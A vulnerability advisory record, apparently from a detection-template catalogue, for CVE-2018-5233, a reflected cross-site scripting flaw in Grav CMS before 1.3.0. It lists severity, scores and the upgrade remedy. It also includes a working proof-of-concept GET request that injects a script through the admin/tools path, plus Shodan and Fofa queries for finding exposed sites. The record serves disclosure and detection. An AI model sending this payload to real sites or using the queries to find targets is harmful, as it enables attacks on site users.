| Title | Grav CMS <1.3.0 - Cross-Site Scripting |
|---|---|
| Author | pikpikcu |
| Severity | Medium |
| Impact | Attackers can execute arbitrary JavaScript in victims' browsers, potentially stealing session cookies, administrative credentials, or performing actions on behalf of authenticated users. |
| Remediation | Upgrade Grav CMS to version 1.3.0 or later, which includes proper input sanitization to mitigate the XSS vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.18828 |
| CVE ID | CVE-2018-5233 |
| CWE ID | CWE-79 |
| Shodan Query | html:"Grav CMS"http.html:"grav cms" |
| Fofa Query | body="grav cms" |
| Tags | cve cve2018 xss grav getgrav vuln |
Grav CMS before 1.3.0 is vulnerable to cross-site scripting via system/src/Grav/Common/Twig/Twig.php and allows remote attackers to inject arbitrary web script or HTML via the PATH_INFO to admin/tools.
GET /admin/tools/a--%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-5233.yaml
🦈 Packet Capture: ⬇️ Download cve-2018-5233.pcap
N/AN/A